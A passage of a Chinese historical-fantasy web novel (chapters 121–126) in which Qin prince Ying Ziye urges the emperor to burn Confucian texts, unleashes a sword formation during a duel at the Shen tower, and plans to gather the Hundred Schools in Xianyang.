一声急促的呼喊从后方传来。
只见扶苏踉跄着冲上前来,一个不慎竟直接摔倒在地。
他顾不得仪态,连滚带爬地跪到最前方,额头重重磕在石板上:
“儿臣叩请父皇开恩!淳于博士他们只是一时糊涂,绝非存心忤逆啊!”
始皇帝冷冷瞥了长子一眼,目光如刀。
扶苏顿时如坠冰窟,却仍固执地跪着不动。
“陛下开恩啊!”
淳于越此刻终于意识到事态的严重。
身子一个踉跄几乎扑倒在地,泪水混着尘土滚落:
“老臣知错了!圣人之书乃天下至宝,万
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万毁不得啊!求陛下恕罪,恕罪啊……”
他声音凄厉,仿佛一头老兽在风中哀鸣,连脊背都在发颤。
其余儒臣也终于支撑不住心中惶恐,纷纷叩首如捣蒜,额头撞击青石板的闷响此起彼伏,血迹斑斑。
“臣等知罪!求陛下开恩!”
“求陛下恕罪!”
“老臣无心冒犯,实是糊涂一时啊!”
有年迈者泪流满面,有年轻者面无人色,冷汗湿透了中衣,有人甚至已吓得瘫坐在地,不住颤抖。
他们此刻再无往日高谈圣贤之气节,只剩下对龙颜震怒的本能恐惧。
那一刻,章台宫前,竟只闻哭泣哀求与颅骨叩地之声,如丧考妣!!!
赢子夜静静站在一旁,直到此刻才缓步上前,恭敬行礼:“儿臣恳请父皇息怒。”
始皇帝的目光在六子身上停留片刻,瞳孔中闪过一丝难以捉摸的情绪。
良久,他忽然冷笑一声:“呵,儒生也不过如此!”
这句话像一柄重锤,狠狠砸在所有儒臣心上。
淳于越面如死灰,整个人仿佛瞬间苍老了十岁。
始皇帝转身欲走,却在临入宫前丢下一句:“子夜,随朕进来。”
赢子夜躬身应是,跟上前去。
扶苏跪在原地,望着六弟的背影,眼中满是希冀。
他转向淳于越等人,声音压得极低却字字如刀:“你们…好大的胆子!”
淳于越浑身发抖:“长公子,老臣……”
“闭嘴!”
扶苏罕见地厉声呵斥:“此次儒家能否逃过一劫,全看六弟了!若再有下次……”
他没有说下去,但眼中的失望与愤怒让所有儒臣都低下了头。
宫门在赢子夜身后缓缓关闭,将跪着的众人隔绝在外。
淳于越望着那扇沉重的宫门,忽然意识到自己犯了一个多么致命的错误——
他不仅差点害了整个儒家。
更连累了最不该连累的长公子。
秋风卷着落叶,扫过宫前广场。
七十余名儒臣跪在寒风中,面色苍白。
他们终于明白,在真正的帝王威压面前,所谓的圣人之言是多么苍白无力。
第122章 儿臣以为:无用之书,可焚之!
章台宫内,青铜灯盏映照着始皇帝高大的身影。
他负手立于龙台之上,玄色龙袍上的金线龙纹在烛光下若隐若现,十二旒冕冠垂下的玉珠遮住了他锐利的目光。
“子夜。”
始皇帝的声音在空旷的大殿内回荡,“你今日前来,可是要为那些儒生求情?”
赢子夜立于阶下,玄色朝服纹丝不动。
他微微抬头,瞳孔直视龙台:“非也。儿臣此来,是要给父皇献策。”
“哦?”
始皇帝眼中闪过一丝兴味,冕旒轻晃,“讲。”
“父皇可知,皇家血脉与百姓血脉有何不同?”
赢子夜的声音不疾不徐,却字字清晰。
始皇帝目光微凝,宽大的袖袍无风自动:“继续说。”
“从血肉之躯看,自然毫无差别。”
“但皇家之所以为皇家,靠的是万民心中的敬畏。”
“这敬畏从何而来?”
“正是靠繁琐的礼教、森严的律法,在百姓心中筑起一道不可逾越的高墙。”
大殿内寂静无声,唯有赢子夜的声音在回荡。
“今日那些儒生所为,看似维护礼法,实则是在拆这道墙。”
“若连祭天这等大事都能被臣子胁迫更改,那在百姓眼中,皇家的威严何在?”
始皇帝的目光渐渐变得深邃,冕旒下的嘴角微微上扬:
“有意思,继续说。”
“作为臣子,行事当有分寸。”
“今日他们敢跪宫**,明日就敢以死相逼。”
“长此以往,国将不国!”
“那你以为,朕当如何?”
始皇帝忽然从龙台上缓步而下,玄色帝袍扫过玉阶,发出细微的摩擦声。
赢子夜不卑不亢地迎上父皇的目光:“儒家今日之举,乃是固守自封。”
“儿臣之意,当取诸子百家之长,为我大秦所用!!”
“至于那些不必要的糟粕……”
他顿了顿,瞳孔中闪过一丝决然:“便焚了吧。”
“焚书?”
始皇帝在赢子夜面前站定,两人相距不过三步。
这个距离,足以让赢子夜感受到那股令人窒息的帝王威压。
“非是焚尽天下典籍。”
赢子夜神色不变,“只是那些蛊惑人心、妨碍大一统的糟粕,留之无益。”
始皇帝突然大笑,笑声震得殿内烛火摇曳:“彩!好一个‘取百家之长’!”
他转身走向龙台,宽大的袖袍在身后翻卷如云,“朕准了。”
赢子夜深深一揖:“父皇圣明。”
“不过……”
始皇帝忽然转身,目光如电,“那些跪在宫外的儒生,你以为该如何处置?”
赢子夜嘴角微扬:“儿臣以为,不妨让他们亲眼看着那些糟粕被焚。”
“至于人……父皇素来仁厚,给他们一个改过的机会便是。”
始皇帝盯着六子看了良久,忽然意味深长地道:“子夜,你比朕想象的要…有趣得多。”
赢子夜垂眸:“儿臣不敢。”
始皇帝嘴角微微上扬,冕旒下的目光如电般射向赢子夜。
“然而你可知,若行此举,你定会遭到天下人口诛笔伐!!!”
赢子夜立于玉阶之下,玄色朝服纹丝不动。
他微微抬头,瞳孔中闪过一丝决然:
“儿臣自然知晓,不过个人功过,留给后世之人去评断吧!”
“好!”
始皇帝突然大笑,笑声震得殿内烛火剧烈摇晃。
他宽大的袖袍一挥,玄色龙袍上的金线龙纹在火光中熠熠生辉,“朕准了!你尽管放手去做!”
“谢父皇。”
赢子夜深深一揖,转身退出大殿。
玄色衣摆扫过光洁的玉砖,发出细微的声响。
殿外秋风瑟瑟,扶苏一见赢子夜出来,立刻踉跄着上前:“六弟!父皇他……”
赢子夜冷漠地环视跪在地上的儒臣们。
那些白发苍苍的老者此刻都屏息凝神,眼中满是希冀与恐惧。
他转向扶苏,声音平静得可怕:“父皇之怒已经平息。不过……”
这个“不过”让所有人心头一紧。
“儒家之中不该存在的那些糟粕,便焚了吧。”
这句话如同一道惊雷,震得众人面色剧变!!!
淳于越直接瘫软在地,老泪纵横:“六公子!那些都是圣贤典籍啊!”
扶苏也变了脸色,急忙拉住赢子夜的衣袖:
“六弟!能否再向父皇求求情?这些典籍……”
赢子夜轻轻
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拂开扶苏的手,头也不回地离去,只留下一句冰冷的话。
“长兄,适可而止。”
扶苏踉跄着站在原地,望着赢子夜远去的背影,整个人如坠冰窟!
身后传来儒臣们此起彼伏的哀嚎:
“长公子!救救儒家典籍啊!”
“那些都是传承千年的圣人之言啊!”
“我等愿意以死谢罪,只求保全典籍!”
扶苏猛地转身,温润如玉的面容此刻因愤怒而扭曲:“闭嘴!”
这一声怒喝,让所有儒臣瞬间噤声。
“今日之祸,皆因你们胆大妄为!”
扶苏的声音颤抖着,眼中满是痛心:“你们以为跪宫**是在维护礼法?这是在毁我儒家根基!”
淳于越老脸惨白,匍匐上前想要解释:“长公子,老臣……”
“够了!”
扶苏踉跄后退一步,宽大的衣袖在秋风中猎猎作响,“你们…你们难道真想看到儒家彻底除名吗?”
这句话如同一盆冰水,浇灭了所有儒臣的侥幸!
他们跪在地上,面如死灰,终于意识到自己犯下了多么不可饶恕的错误!
扶苏看着这些曾经教导自己的老师,眼中的怒火渐渐被深深的失望取代。
他缓缓摇头,转身离去时脚步虚浮,仿佛一瞬间苍老了十岁。
……
秋风卷着落叶,扫过宫前广场。
七十余名儒臣跪在寒风中,望着远处渐渐升起的黑烟——
那,是焚烧典籍的烟火。
他们终于明白,在绝对的皇权面前,所谓的圣人之言是多么脆弱。
淳于越颤抖着从怀中掏出一卷竹简,那是他亲手抄录的《论语》。
老泪滴在竹简上,晕开了墨迹。
他忽然想起赢子夜临去时那冷漠的眼神,那不是一个胜利者的傲慢,而是一种……
怜悯。
“我们错了……”
淳于越喃喃自语,声音轻得只有自己能听见,“大错特错。”
远处,扶苏孤独的身影渐渐消失在宫道尽头。
这位以仁厚著称的长公子,此刻终于亲身体会到了什么叫“帝王之心如渊”。
而他更清楚的是。
从今日起,大秦的朝堂,将迎来一场前所未有的变革!
第123章 若吞并阴阳家,道宗可现往日之光
十八公子府内。
胡亥斜倚在软榻上,手中把玩着一枚白玉棋子。
赵高躬身立于阶下,将章台宫前发生的事一一道来。
“那群儒生,是疯了不成?”
胡亥突然坐直身子,眼中闪过一丝诧异。
“竟敢跪宫**?”
他手中的棋子“啪”地一声落在棋盘上,惊得一旁的侍女慌忙低头。
赵高阴柔的声音在殿内回荡:
“确实胆大包天。”
“不过更令人在意的是……六公子竟出面平息了此事。”
胡亥眉头一挑,手指无意识地摩挲着棋子:
“哦?我那六哥,居然帮扶苏和儒家求情?”
他忽然轻笑一声:
“有意思。”
“公子,老奴斗胆猜测……”
赵高微微抬眼:
“六公子会不会是想……收儒家为己所用?”
胡亥猛地将棋子掷回棋盒,发出清脆的碰撞声。
他站起身,锦袍上的金线在烛光下闪闪发亮:
“不可能。”
他在殿内来回踱步:“六哥向来厌恶儒家那套迂腐之论。”
“焚书之举,摆明了是要断儒家根基。”
赵高眼中精光一闪:
“那公子的意思是……”
“再等等,再看看。”
胡亥忽然停下脚步,嘴角勾起一抹玩味的笑容:
“六哥此举必有深意。”
“我们贸然动作,反倒不美。”
他转身望向窗外的夜色,月光洒在他俊美的侧脸上,却照不进那双深不见底的眼睛:
“我倒要看看,六哥…究竟在打什么算盘。”
赵高深深一揖:
“公子英明。”
“不过…祭天大典一事……”
“不急。”
胡亥摆摆手,语气轻快得仿佛在谈论明日的天气:
“让他们先斗着。”
“等时机成熟……”
他忽然转身,眼中闪过一丝狠厉:
“我们再送他们一份大礼。”
殿内烛火摇曳,将胡亥的影子投在墙上,那影子忽大忽小,如同一条蓄势待发的毒蛇。
赵高嘴角微扬,恭敬地退入阴影中。
……
六公子府。
赢子夜正在书房翻阅竹简,忽闻一阵清冷莲香飘来。
抬头望去,只见晓梦白衣胜雪,立于门前。
秋骊剑鞘上的霜纹比往日更盛,映得她眉目如画。
“公子。”
晓梦微微颔首,声音如冰泉击石:“人宗已尽数归于天宗。”
赢子夜放下竹简,瞳孔中闪过一丝满意:
“辛苦了。”
他示意晓梦入座:“可还顺利?”
晓梦并未就坐,而是向前一步:“还有一事相求。”
“讲。”
“请公子带我去阴阳家。”
晓梦眼中罕见地燃起战意:
“当年道门三分,天宗、人宗、阴阳家各执一脉。”
“如今人宗已归,是时候与阴阳家论个高下了。”
赢子夜指尖轻叩案几,若有所思:“论术?”
“正是。”
晓梦秋骊剑微微震颤:
“东皇太一当年带走‘太乙神数’,此乃道门至高秘术。”
“我欲以天宗‘太上忘情心法’一会。”
书房内一时寂静,只有烛火偶尔爆出轻微的噼啪声。
赢子夜忽然轻笑:“好。”
晓梦略显诧异:“公子答应了?”
“正好借此机会,看看阴阳家的底细。”
赢子夜起身,玄色衣袍上的暗金龙纹在烛光下流转:
“东皇太一那个老狐狸,藏得太深了。”
晓梦眼中闪过一丝复杂:“那公子也要小心。”
“东皇太一的实力……深不可测。”
赢子夜走到窗前,望着远处蜃楼的轮廓:
“无妨。他既然将少司命送来联姻,就该料到会有这一天。”
转身时,瞳孔中闪过一丝锐利:“明日便去。”
晓梦深深一揖,白发垂落遮住了她微扬的嘴角。
她知道,这次论术不仅关乎道门正统,更将决定未来大秦与阴阳家的关系。
赢子夜看着晓梦离去的背影,手指无意识地摩挲着腰间的玉佩。
窗外,一阵秋风吹过,卷起几片落叶。
赢子夜忽然想起少司命那双紫水晶般的眼眸,心中微动。
这场联姻,恐怕比想象中还要复杂得多。
……
翌日。
蜃楼。
观星台上,星图流转。
东皇太一负手而立,黑色面具在星光下泛着冷光。
当赢子夜与晓梦踏入大殿时,他缓缓转身,宽大的黑袍无风自动。
“六公子亲临,蜃楼蓬荜生辉。”
东皇太一的声音低沉如古井回响,
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却让人听不出喜怒。
赢子夜瞳孔微眯:“东皇阁下客气了。”
“今日前来,是为晓梦了却一桩心愿。”
晓梦上前一步,秋骊剑鞘上的霜纹骤然明亮。
“东皇,当年道门三分,今日特来论术。”
东皇太一沉默片刻,忽然抬手一挥。
两侧的阴阳家弟子齐刷刷退下,沉重的殿门缓缓关闭。
霎时间,大殿内只剩下三人,连空气都仿佛凝固了。
“请。”
东皇太一抬手示意,声音中终于透出一丝兴味。
晓梦白衣无风自动,一缕白发从额前垂下:
“天宗忘情,讲究大道无情。”
她指尖轻点,一道冰晶莲花在虚空中绽放,莲心处隐约可见星河倒悬。
东皇太一黑袍鼓荡:
“阴阳家术法,追求天人合一。”
他袖中飞出一黑一白两道气流,在空中交织成太极图案。
阴阳鱼眼处,竟有日月同辉之象。
两股道韵甫一接触,整个大殿骤然一震。
冰莲与太极在空中相持,迸发出刺目的光芒。
赢子夜不动声色地后退半步,瞳孔中倒映着这场无形的较量。
“道可道,非常道。”
晓梦声音清冷如霜,冰莲骤然绽放,无数冰晶如利箭般射向太极图。
东皇太一不慌不忙,太极图急速旋转,将冰箭尽数吞噬:
“名可名,非常名。”
两股力量碰撞处,空间竟出现细微的扭曲。
赢子夜凝视着这一幕,忽然心有所感。
他指尖无意识地轻抚腰间佩剑,剑鞘中的长剑微微震颤,似乎也在感悟这场论术的精妙。
晓梦忽然变招,冰莲化作漫天飞雪,每一片雪花都蕴含着凌厉的剑意:
“天宗之道,斩情断欲!”
东皇太一双手结印,太极图中升起一轮明月:
“阴阳之理,刚柔并济!”
明月与飞雪相撞,爆发出震耳欲聋的轰鸣。
气浪席卷整个大殿,连星图都为之震颤。
赢子夜玄色衣袍猎猎作响,却仍稳稳立于原地,眼中金光更盛。
就在这电光火石之间,他忽然捕捉到一丝玄机——
那明月中的阴柔之力,竟与晓梦飞雪中的凌厉剑意有着奇妙的共鸣。
这个发现让他心头一震,手指不自觉地按上了剑柄!
第124章 无量剑阵,以剑载道,以道御剑!
此刻。
观星台上,星光骤然黯淡。
晓梦的白衣已被汗水浸透,秋骊剑完全出鞘,剑身上凝结的冰霜却开始寸寸碎裂。
她咬紧牙关,剑尖所指之处,虚空竟出现细密的裂痕。
“忘情无我,是为天道!”
无数冰晶剑气如银河倾泻。
每一道都蕴含着斩断七情六欲的决绝之意。
整个大殿温度骤降,地面、廊柱、甚至星图上都开始凝结厚厚的冰霜。
东皇太一黑袍鼓荡,面具下的声音首次带上凝重:“好一个太上忘情!”
他双手结印,阴阳二气在身前交织成巨大的太极图。
“无极生太极,是为至道!”
太极图急速旋转,阴阳鱼眼处迸发出刺目的光芒。
冰晶剑气撞上太极图,发出震耳欲聋的爆鸣。
气浪席卷之下,观星台四周的青铜灯盏齐齐熄灭。
就在这电光火石间,赢子夜忽然睁开双眼。
他瞳孔中倒映着漫天剑影与阴阳二气,手中长剑不知何时已然出鞘三寸。
“原来如此……”
他低语一声,长剑完全出鞘。
剑身震颤间,一道金光直冲云霄!
“无量剑阵——起!”
刹那间,整座蜃楼剧烈震动!
赢子夜手中的长剑一分为二,二分为四,转眼间化作漫天剑影!
这些剑影并非虚幻。
每一柄都凝如实质,剑锋上流转着阴阳二气,剑身上缠绕着道家符文。
晓梦和东皇太一同时收手,震惊地望向场中央。
只见赢子夜立于万千剑影之中,玄色衣袍猎猎作响,瞳孔中似有星河倒悬。
“这…这是……”晓梦的秋骊剑微微颤抖,仿佛在共鸣。
东皇太一的面具下传来一声轻咦:“道剑合一?”
赢子夜完全沉浸在顿悟之中。
他指尖轻划,万千剑影随之而动,在空中交织成巨大的阴阳太极图。
这图比东皇太一先前所化的更加玄妙。
阴阳鱼眼中竟隐隐有日月同辉之象。
“剑中藏阴阳,阴阳化万剑……”
随着他轻声念诵,剑阵范围不断扩大。
蜃楼外的天空骤然变色。
乌云翻滚间,无数剑影的虚影投射在天幕之上,宛如神迹!!!
咸阳城中,百姓纷纷驻足观望。
“快看天上!”
“那是……剑?”
“神仙显灵了!”
而观星台上,剑阵已成。
每一柄剑影都蕴含着可怕的剑意,生生不息,循环往复。
置身阵中,仿佛陷入无尽轮回,令人心生绝望。
晓梦的白衣被剑气割裂数道,她却浑然不觉,只是痴痴地望着剑阵!
“无量劫…这是道门传说中的无量劫剑阵……”
东皇太一的黑袍无风自动,面具下的声音罕见地带上了一丝激动:“以剑载道,以道御剑…妙!妙啊!”
赢子夜此时已进入玄妙状态。
他感觉自己的意识与万千剑影相连,每一柄剑都像是他肢体的延伸。
剑阵中蕴含的阴阳至理,让他对东皇太一先前的术法有了更深的理解。
“阴阳相生,轮回不止……”
随着他心念一动,剑阵骤然变化。
无数剑影化作两条巨龙,一黑一白,在空中交织盘旋。
龙目中是璀璨的剑光,龙鳞上是锋利的剑刃。
这景象太过震撼,连东皇太一都不由后退半步!
晓梦更是面色苍白,秋骊剑上的霜纹完全消融——
这是她修行以来首次道心失守。
突然,赢子夜眉头微皱!
他感觉到剑阵中有一股狂暴的力量正在苏醒。
那是向神魔借力的征兆。
剑阵虽强,但反噬更可怕。
“收!”
他当机立断,强行终止剑阵。
万千剑影如百川归海,重新汇成一柄长剑。
但残余的剑气仍在蜃楼上空盘旋许久才渐渐消散。
赢子夜收剑入鞘,额角已渗出细密汗珠。
这一番顿悟虽收获巨大,却也险些走火入魔。
晓梦第一个上前,眼中满是复杂:“你…怎会我道门失传已久的无量剑阵?”
东皇太一也缓步走来,黑袍上的裂痕尚未修复:“此阵需以心剑驾驭万剑,六公子竟能无师自通,实在……”
赢子夜平复气息,瞳孔中闪过一丝疲惫:“不过是观二位论术,偶有所得罢了。”
他抬头望向渐渐恢复平静的天空。
心知,这场顿悟
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引起的异象,必然已经惊动整个咸阳。
但更让他在意的是,剑阵最后那股狂暴的力量——
向神魔借力的代价,恐怕远比他想象的要大。
晓梦和东皇太一对视一眼,都从对方眼中看到了震撼。
这位大秦六公子展现出的天赋,已经超出了他们的预料。
而蜃楼外,最后一缕剑气消散在云端。
但这场论术引发的波澜,却才刚刚开始。
……
十八公子府内。
胡亥猛地站起身,锦袍上的金线在阳光下闪闪发亮。
随即几步冲到窗前,死死盯着蜃楼方向那遮天蔽日的剑影。
“这剑气……”
他素来玩世不恭的脸上罕见地露出凝重。
“来自蜃楼?难道是东皇太一那老东西弄出来的动静?”
……
与此同时,章台宫内。
始皇帝负手立于龙台,玄色龙袍上的金线龙纹在阳光下熠熠生辉。
他望着天际渐渐消散的剑影,冕旒下的目光深不可测。
“陛下。”
黑冰台统领单膝跪地,声音低沉。
“六公子今晨确实去了蜃楼。”
始皇帝嘴角微扬:
“如此剑阵……”
他忽然转身,宽大的袖袍带起一阵劲风。
“朕这个儿子,倒是给了朕不少惊喜。”
黑冰台统领不敢接话,只是将头垂得更低。
他能感觉到,此刻的陛下虽然语气平静,但那股无形的帝王威压却让整个大殿的空气都仿佛凝固了!
“传令。”
始皇帝突然开口,声音如金铁交鸣。
“加强咸阳内外城防。另外……”
他顿了顿,眼中闪过一丝精光。
“派人盯着蜃楼,朕要随时知道那里的动静。”
“诺!”
黑冰台统领重重叩首,额头触及冰冷的玉砖。
始皇帝再次望向窗外。
那里已经恢复平静,仿佛刚才那震撼天地的剑阵从未出现过。
“子夜……”
始皇帝低声自语,指尖轻抚腰间的定秦剑。
“你究竟还藏着多少本事?”
殿外秋风吹过,卷起几片落叶。
那落叶在触及殿门的瞬间,竟无声地化为了齑粉。
第125章 螳螂捕蝉,黄雀在后!
观星台上,星光流转。
东皇太一宽大的黑袍在星光照耀下泛着幽暗的光泽。
他缓缓抬手,声音低沉如古井回响:
“六公子今日展露的无量剑阵,令本座大开眼界。”
赢子夜玄色衣袍纹丝不动,瞳孔中闪过一丝深意:
“东皇阁下过誉了。”
“若非观二位论术,本公子也难以领悟此道。”
晓梦白衣胜雪,秋骊剑已归鞘,但剑鞘上的霜纹比往日更盛。
她清冷的目光直视东皇太一:
“今日论术,是我输了,但天宗忘情心法尚有精进之处,他日定当再来讨教。”
东皇太一的面具下传来一声轻笑:
“本座随时恭候。”
他转向赢子夜:
“六公子大婚在即,阴阳家必当备上厚礼。”
赢子夜微微颔首:
“那本公子就拭目以待了。”
说罢,转身离去。
玄色衣摆扫过星图,带起一阵微风。
晓梦最后看了东皇太一一眼,也跟着赢子夜离开。
她的背影依旧挺拔如松,但脚步却比来时沉重了几分。
待二人身影消失,东皇太一突然抬手结印,观星台的禁制瞬间启动。
他摘下面具,露出一张苍白如纸的面容——
嘴角,竟有一丝未擦净的血迹。
“月神。”
他轻声唤道。
紫色身影如幽灵般浮现:“首领有何吩咐?”
东皇太一重新戴上面具:
“本座要闭关参悟,阴阳家大小事务,暂由你代为处理。”
月神薄纱下的眼眸闪过一丝诧异:“首领是因为…六公子的剑阵?”
“此子天赋异禀,竟能从论术中悟出无量剑阵。”
东皇太一的声音罕见地带着一丝波动:“本座亦心有所感,需即刻闭关。”
月神深深一揖:
“属下明白。那少司命的婚事……”
“按原计划进行。”
东皇太一转身走向星图深处:
“记住,一切以苍龙七宿为重。”
“诺。”
月神恭敬应声,目送东皇太一的身影消失在星图深处。
观星台重归寂静,只有星图仍在缓缓运转。
月神站在空荡的大殿中央,薄纱下的红唇微抿。
她隐约感觉到,首领这次闭关,恐怕与往常大不相同……
远处,赢子夜与晓梦已登上离开蜃楼的楼船。
河风拂过,吹起赢子夜的玄色衣袍,也吹散了晓梦额前的一缕白发。
二人不约而同地回首望向那座高耸入云的蜃楼,心中各有所思。
很快,楼船破浪而行。
河风裹挟着咸湿的气息扑面而来。
赢子夜立于船首,玄色衣袍猎猎作响,瞳孔倒映着远处渐渐变小的蜃楼轮廓。
“如何?”
他突然开口,声音平静如水,“与东皇论术,感受如何?”
晓梦站在他身侧三步之遥,秋骊剑鞘上的霜纹比往日黯淡了几分。
她眉头紧锁,罕见的露出一丝凝重:“深不可测。”
赢子夜微微侧目:“哦?”
“我探不出他的实力深浅。”
晓梦的声音比河风更冷,“就像面对一片无底深渊。”
“越是深入,越是感到……恐怖。”
她抬起手,一缕白发从指间滑落:“尤其是在‘术’之一途,东皇已经达到了与术融为一体的地步。”
“那不是简单的理解,而是……一种近乎疯狂的执念。”
赢子夜眼中金光微闪:“执念?”
“对天道的执念。”
晓梦指尖凝结出一朵冰晶莲花,又瞬间粉碎。
“为了追求至高术法,他可以牺牲一切!”
“这样的人……”
“是个疯子。”
赢子夜接过话头,嘴角勾起一抹冷笑,“有趣。”
鸟群从头顶掠过,发出刺耳的鸣叫。
晓梦沉默片刻,忽然问道:“公子从剑阵中感悟到什么?”
赢子夜望向波涛汹涌的河面:“阴阳相生,轮回不止。”
他指尖轻抚剑柄,“东皇的阴阳术,确实有其独到之处。”
晓梦若有所思地点点头,白衣在风中如鹤翼般翻飞:“我打算闭关一段时间,消化今日所得。”
“闭关?”赢子夜突然轻笑出声,摇了摇头。
晓梦眉头微蹙:“公子认为不妥?”
“若只想提升些许修为,闭关自然可行。”
赢子夜转身直视晓梦,瞳孔中闪烁着奇异的光芒,“但你的目标,是重现道门三脉合一的盛景吧?”
这句话如同一道闪电劈进晓梦心中。
她瞳孔微缩,秋骊剑竟自行出鞘三寸,发出清越剑鸣。
“仅靠领悟天、人两宗,终究残缺不全。”
赢子夜继续道,声音不疾不徐,“阴阳家的术法,同样是道门正统。”
晓梦眼中闪过一丝明悟,但随即又黯淡下来:“可东皇太一……”
“何必非要找他?”
赢子夜打断她,嘴角微扬,“少司命不就在我府上?”
晓梦猛地抬头,白发飞扬:“少司命?”
“阴阳家年轻一代的天才,精通各类阴阳术法。”
赢子夜转身望向越来越近的咸阳城轮廓,“回去后,你可自行找她切磋。”
河风突然变得急促,吹散了晓梦额前的白发,露出她那双如寒潭般清澈的眼眸。
她深深看了赢子夜一眼,忽然拱手行礼:“多谢公子指点。”
赢子夜摆摆手:“各取所需罢了。”
他眼中光芒流转,“我也很好奇,道门三脉合一后,会是什么模样。”
晓梦直起身,秋骊剑鞘上的霜纹竟开始缓缓恢复。
她望向咸阳方向,眼中战意渐起:“不会让公子失望。”
……
半个时辰后。
赢子夜府邸的书房内,烛火摇曳。
少司命紫衣翩跹,恭敬地立于案前,面纱下的容颜若隐若现。
晓梦白衣胜雪,秋骊剑横放膝上,眼中战意未消。
“从今日起,你二人每日切磋两个时辰。”
赢子夜指尖轻叩案几,瞳孔在烛光下流转。
“晓梦可借此领悟阴阳术法,少司命亦可参悟天、人二宗真谛。”
少司命微微欠身,紫色长发垂落。
“谨遵公子之命。”
晓梦目光如电,直视少司命。
“听闻阴阳家少司命天赋卓绝,晓梦领教了。”
少司命面纱轻颤,却不答话,
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只是那双紫水晶般的眼眸中闪过一丝异彩。
赢子夜满意地点头。
“去吧。”
待二人退下后,书房暗处突然浮现一道黑影。
赵弋苍单膝跪地,铁面下的声音低沉。
“主上,暗河密报。”
“讲。”
“逍遥子与盖聂潜伏于农家神农堂,正在养伤。另……”
赵弋苍呈上一卷竹简。
“噬牙狱逃犯胜七,正赶往农家。”
赢子夜展开竹简,瞳孔中倒映着胜七的资料。
“哦?当年农家的叛徒?”
“正是。”
赵弋苍声音更沉。
“此人当年被诬陷杀害义弟吴旷,逃离农家后辗转六国,屡次**。”
“后被盖聂所擒,关入噬牙狱,如今盖聂也在农家……”
赢子夜忽然轻笑出声。
“有意思。仇人相见,怕是要上演一场好戏。”
他指尖轻抚竹简上胜七的画像。
“查清楚,他回农家所为何事?”
“据暗河探子回报,似是为调查当年真相。”
赵弋苍顿了顿。
“还有一事……农家内部,疑似有罗网的人潜伏。”
赢子夜眼中金光骤盛。
“确定吗?”
“尚未确定,对方隐藏极深,暗河为避免打草惊蛇,进展缓慢。”
书房内一时寂静,只有烛火偶尔爆出轻微的噼啪声。
赢子夜起身走到窗前,望着远处朦胧的月色。
“螳螂捕蝉,黄雀在后……赵高这只老狐狸,果然不会放过任何机会。”
赵弋苍铁面下的目光锐利如刀。
“主上,要不要……”
“不急。”
赢子夜抬手制止。
“先让胜七回去再说。”
“至于罗网……”
他嘴角勾起一抹冷笑。
“既然他们喜欢藏,就让他们继续藏着。”
“属下明白。”
赵弋苍深深一揖。
“另外,噬牙狱那批人已按主上吩咐开始训练,随时听候调遣。”
赢子夜微微颔首。
“很好,你且退下,继续监视农家动向。”
“若有任何消息,立即禀报!”
待赵弋苍的身影融入黑暗,赢子夜独自立于窗前,指尖无意识地摩挲着腰间的玉佩。
农家、罗网、盖聂、胜七……
这些势力交织在一起,俨然形成了一张错综复杂的网。
“田蜜……”
他轻声念着这个名字,眼中闪过一丝玩味。
这个取代胜七成为农家魁隗堂堂主的女人,又是什么背景?
农家这潭水,恐怕比他想象的还要深……
远处隐约传来剑气破空之声,想必是晓梦与少司命已经开始切磋。
赢子夜收回目光,转身走向案几。
烛光下,他的影子被拉得很长,如同一柄出鞘的利剑,锋芒毕露却又深不可测。
“赵高……”
他低声自语,瞳孔中闪过一丝寒芒。
“你究竟在打什么算盘?”
窗外,一阵秋风吹过,卷起几片落叶。
那落叶在触及窗棂的瞬间,竟无声地化为了齑粉。
赢子夜微微皱眉,思索片刻,随即下令。
“传萧何入府。”
第126章 让诸子百家共赴咸阳!
不多时,萧何匆匆赶来,青色官袍上还沾着夜露,显然是一接到传召就立即动身。
他恭敬地行了一礼。
“公子深夜召见,不知有何要事?”
赢子夜负手立于窗前,玄色衣袍上的暗金纹在烛光下若隐若现。
“萧何,你可听闻前日章台宫前之事?”
萧何神色一凛,额头渗出细密汗珠。
“下官略有耳闻,淳于越等儒臣跪宫**,陛下震怒……”
“你对此有何看法?”
赢子夜突然转身,瞳孔直视萧何。
萧何心头一紧,斟酌片刻才谨慎开口。
“儒家固守礼法,固然可敬,但治国之道,当与时俱进,一味守旧,恐非长久之计。”
赢子夜嘴角微扬。
“说得好。”
他缓步走向案几,指尖轻抚上面堆积如山的竹简。
“我欲纳百家之长,为帝国所用。”
“至于其中无用之物……”
他眼中精芒一闪。
“便焚了吧。”
萧何闻言一震。
“公子是要……”
“此事交由你负责。”
赢子夜打断他,从案几上取出一卷空白竹简。
“整理诸子百家典籍,取其精华,去其糟粕,编撰一部能为大秦所用的治国方略。”
萧何双手接过竹简,眼中闪过一丝激动。
“下官领命,只是……”
他犹豫片刻。
“百家学说纷繁复杂,若要取其精要……”
“所以我要你下帖。”
赢子夜突然话锋一转。
“请百家之人前来咸阳,共商此事。”
萧何猛地抬头,眼中满是疑惑。
“公子,此事您一人便可决断,为何……”
话未说完,他突然顿住。
只见赢子夜嘴角含笑,瞳孔中闪烁着意味深长的光芒。
萧何何等聪明,略一思索便恍然大悟。
“公子是想……借此机会分化百家?”
“不错。”
赢子夜满意地点头,转身望向窗外月色。
“百家之中,有顽固不化者,亦有识时务者。”
“若能借此机会分辨忠奸,岂不一举两得?”
萧何眼中精光闪烁,立即领会其中深意。
“下官明白了,那些固守旧制、不愿为朝廷所用的,正好借机剔除!”
“而愿意归顺的,则可收为己用。”
赢子夜指尖轻叩窗棂。
“墨家、儒家之举,已经证明了一点——”
“若不能为我所用,留着终是祸患。”
萧何深深一揖。
“公子深谋远虑,下官这就去准备请帖,旬日内必让百家主要人物齐聚咸阳。”
“记住。”
赢子夜的声音突然冷了下来。
“此事要办得光明正大,要让天下人都知道,朝廷是真心实意要采纳百家之长。”
萧何会意。
“下官明白,定会让他们心甘情愿地来,心服口服地留。”
赢子夜挥了挥手。
“去吧。”
待萧何退下后,书房内重归寂静。
赢子夜独自立于窗前,望着远处章台宫的轮廓。
月光洒在他玄色衣袍上,勾勒出一条若隐若现的龙形。
他知道,这场“百家论道”一旦开始,将彻底改变大秦与诸子百家的关系。
那些顽固派会被淘汰,而愿意归顺的……将成为他赢子夜的力量。
“儒家、农家……”
他轻声念着这些名字,眼中金光流转。
“是时候做个了断了。”
……
与此同时,萧何快步走出公子府,手中紧握那卷空白竹简。
夜风吹拂着他的官袍,却吹不散他眼中的兴奋。
作为法家出身的他,深知这是一次千载难逢的机会——
不仅能为大秦编撰一部治国宝典,更能借此机会,让法家思想成为朝廷正统!
“来人!”
他对着等候多时的随从吩咐。
“立即去请陈平大人过府议事。”
